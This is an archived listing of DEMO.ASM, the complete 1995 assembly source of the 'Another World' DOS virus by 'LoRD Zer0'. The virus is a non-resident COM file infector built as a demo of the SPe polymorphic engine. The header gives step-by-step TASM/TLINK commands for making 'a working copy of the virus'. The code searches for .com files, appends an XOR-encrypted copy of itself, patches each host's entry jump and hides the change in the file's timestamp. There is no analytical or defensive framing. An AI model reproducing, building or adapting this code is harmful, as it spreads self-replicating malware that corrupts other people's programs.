home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / PMUPDT13.ZIP / SPE.ZIP / SPE_V121.ZIP / DEMO.ASM next >
Encoding:
Assembly Source File  |  1995-04-16  |  3.1 KB  |  189 lines

  1.  
  2. ;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  3. ;                                          ;
  4. ;                                          ;
  5. ;               A n o t h e r  W o r l d                  ;
  6. ;                                          ;
  7. ;                                          ;
  8. ;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  9.  
  10.  
  11. ; Virus name: Another World
  12. ; Origin: Sweden
  13. ; Engine: SPe v1.21 (Simple Polymorphic Engine)
  14. ; Author: LoRD Zer0
  15. ; Date: Mars 1995
  16. ; Eff length: 705 - 709 bytes
  17. ; SPe is 419 bytes
  18. ; AW is 269 bytes
  19. ; It's a none resident COM file infector. With no extra effects.
  20. ; It's just a demo vx for SPe. (SPe is a lame Engine. It's made just for
  21. ; Fun. I've get a bit tried of my real polymorphic Engine, Genetic eXchanger.)
  22. ; Well, One TridenT guy wrote a polymorphic vx in 444 bytes, So this is no 
  23. ; record.
  24. ; The vx isn't so well comentated, because a normal vx coder will have no 
  25. ; problem to understand the code except comments.
  26. ; B.BIN :
  27.  
  28. ; DB 40h,0E9h,0,0
  29.  
  30. ; To make a working copy of the virus:
  31. ; tasm /m2 spe.asm
  32. ; tasm /m2 demo.asm
  33. ; tlink /t demo.obj
  34. ; tlink /t spe.obj
  35. ; copy /b b.bin+demo.com vx.com
  36. ; copy /b vx.com+spe.com another.com
  37. ;
  38. ;
  39.     .MoDEL TiNY
  40.     .CoDE
  41.     org    100h
  42. Start:
  43.     mov    di,100h
  44.     call    begin
  45. Begin:    pop    bp
  46.     sub    bp,offset begin
  47.     lea    si,[bp+buffer]
  48.     movsw
  49.     movsw
  50.  
  51.     mov    ah,1ah
  52.     lea    dx,[bp+DTA]
  53.     int    21h
  54.  
  55.     lea    dx,[bp+Comfile]
  56.     xor    cx,cx
  57.     mov    ah,4eh
  58. again:
  59.     int    21h
  60.     jnc    not_done
  61.     jmp    done
  62. not_done:
  63.  
  64.     lea    dx,[fname+bp]
  65.     mov    ax,3D02h
  66.     int    21h
  67.  
  68.     xchg    bx,ax
  69.  
  70.     mov    ah,3fh
  71.     lea    dx,[bp+buffer]
  72.     mov    cx,4
  73.     int    21h
  74.  
  75.     cmp    byte ptr [buffer+bp],40h
  76.     jne    go_on
  77. loop_me:
  78.     call    close
  79.     mov    ah,4fh
  80.     jmp    again
  81. comfile    db    '*.com',0
  82. buffer    db    0CDh,20h,0,0
  83.     db    'Another World, a Better World..',0    ;Well, perhaps..
  84. go_on:
  85.  
  86.     cmp    word ptr [buffer+bp],'ZM'
  87.     je    loop_me
  88.  
  89.     mov    ax,4202h
  90.     cwd
  91.     xor    cx,cx
  92.     int    21h
  93.  
  94.     mov    si,ax
  95.     add    si,100h
  96.     sub    ax,4
  97.     mov    word ptr [new_jmp+bp],0e940h    ;40h = INC AX
  98.     mov    word ptr [new_jmp+bp+2],ax
  99.  
  100.     mov    cx,v_Size
  101.     lea    di,[work_space+bp+100h]
  102.     push    di
  103.     push    bx
  104.     push    bp
  105.     call    Engine
  106.     pop    bp
  107.     pop    bx
  108.     cmp    ah,0
  109.     jnz    ma
  110.     mov    ah,28h
  111.     jmp    store
  112. ma:
  113.     cmp    ah,28h
  114.     jnz    store
  115.     xor    ah,ah
  116. store:
  117.     mov    [bp+to_do],ah
  118.     lea    si,[bp+start]
  119.     cld
  120.     xchg    al,ah
  121.     xchg    dx,cx
  122.     push    cx
  123.     push    cs
  124.     pop    es
  125.     cld
  126. xor_me:
  127.     lodsb
  128. to_do    db    30h            ; XOR
  129.     db    0E0h            ; AL,AH
  130.     stosb
  131.     loop    xor_me
  132.     pop    cx
  133.     add    cx,dx
  134.     pop    dx
  135.     mov    ah,40h
  136.     int    21h
  137.     jc    close_me
  138.  
  139.     mov    ax,4200h
  140.     cwd
  141.     xor    cx,cx
  142.     int    21h
  143.  
  144.     lea    dx,[new_jmp+bp]
  145.     mov    cx,4
  146.     mov    ah,40h
  147.     int    21h
  148.  
  149. close_me:
  150.     call    close
  151. done:
  152.     mov    dx,80h
  153.     mov    ah,1ah
  154.     int    21h
  155.  
  156.     mov    ax,100h
  157.     push    ax
  158.     xor    ax,ax
  159.     ret
  160.     db    'WHY?'        ;It's a good question...
  161. close:
  162.     mov    ax,5700h
  163.     int    21h
  164.     inc    ax
  165.     int    21h
  166.  
  167.     mov    ah,3eh
  168.     int    21h
  169.     retn
  170. Engine:
  171. ; COPY /B DEMO.COM+SPE.COM V.COM
  172. the_end:
  173. new_jmp        = offset the_end+200h ; 200h for the engine    
  174. DTA        = offset offset New_jmp+4
  175. fattrib        = offset DTA+21
  176. ftime        = offset fAttrib+1
  177. fdate        = offset Ftime +2
  178. Fsize        = offset Fdate+2
  179. fname        = offset Fsize+4
  180. work_Space    = offset fname+14
  181. v_size    =    $-offset start
  182.     end    Start
  183.  
  184.  
  185.  Coded by LoRD Zer0 1994-95.
  186.  Somewhere in the kingdom of Sweden....
  187.